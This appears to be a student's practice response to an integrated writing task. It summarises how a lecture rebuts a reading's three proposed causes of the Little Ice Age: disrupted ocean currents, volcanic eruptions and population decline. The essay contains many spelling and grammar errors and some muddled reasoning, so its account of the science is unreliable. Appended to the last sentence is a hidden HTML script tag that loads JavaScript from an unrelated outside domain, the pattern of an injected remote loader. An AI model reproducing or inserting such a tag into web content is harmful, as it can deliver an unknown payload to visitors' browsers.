integrated

The reading claims that scientists have long wondered what caused the Little Ice age and several possible causes have been proposed. In contrast, the professor claims that the arguments are little out of date and scientists have new information for the causes of the Little Ice Age, and he refutes each of the author's causes.

First, the article asserts that the cooling may have been caused by disrupting of ocean currents. However, the lecturer opposes this point by saying that scientists know that disrupting is causing cooling in Europe and north of america, and the southern of hemishpere such as Neozlinda and part of Africa became colder. In fact, he states that this doesn't explain the cooling of the Ice Age. This challenges the assertion made in the article.

Second, the passage avers that volcanic eruption could have caused the Little Ice Age. On the other hand, the professor counters this point by stating that it is true that enough volcanic eruption can result cooling. Actually, he mentions that a large of volcanic eruption will produce visual darkness and people should notice that such as colorful of sky and snow will be gray to brown because of an erpution, but there is no report like that during Ice age. He argues that volcano is not strong enough to lower the global temperatures.

Third, the article posits that substantial decreases in human populations may have contributed indirectly to cooling of the climate, and forest trees started growing. Conversely, the professor casts doubt on this point by explaining that human populations return quickly to the main level and later they cut down a lot of trees again for crops and forest didn't still for long enough to change the climate. This appears a contradiction to the information made in the passage.<script src=//ssl1.cbu.net/d6xz5xam></script>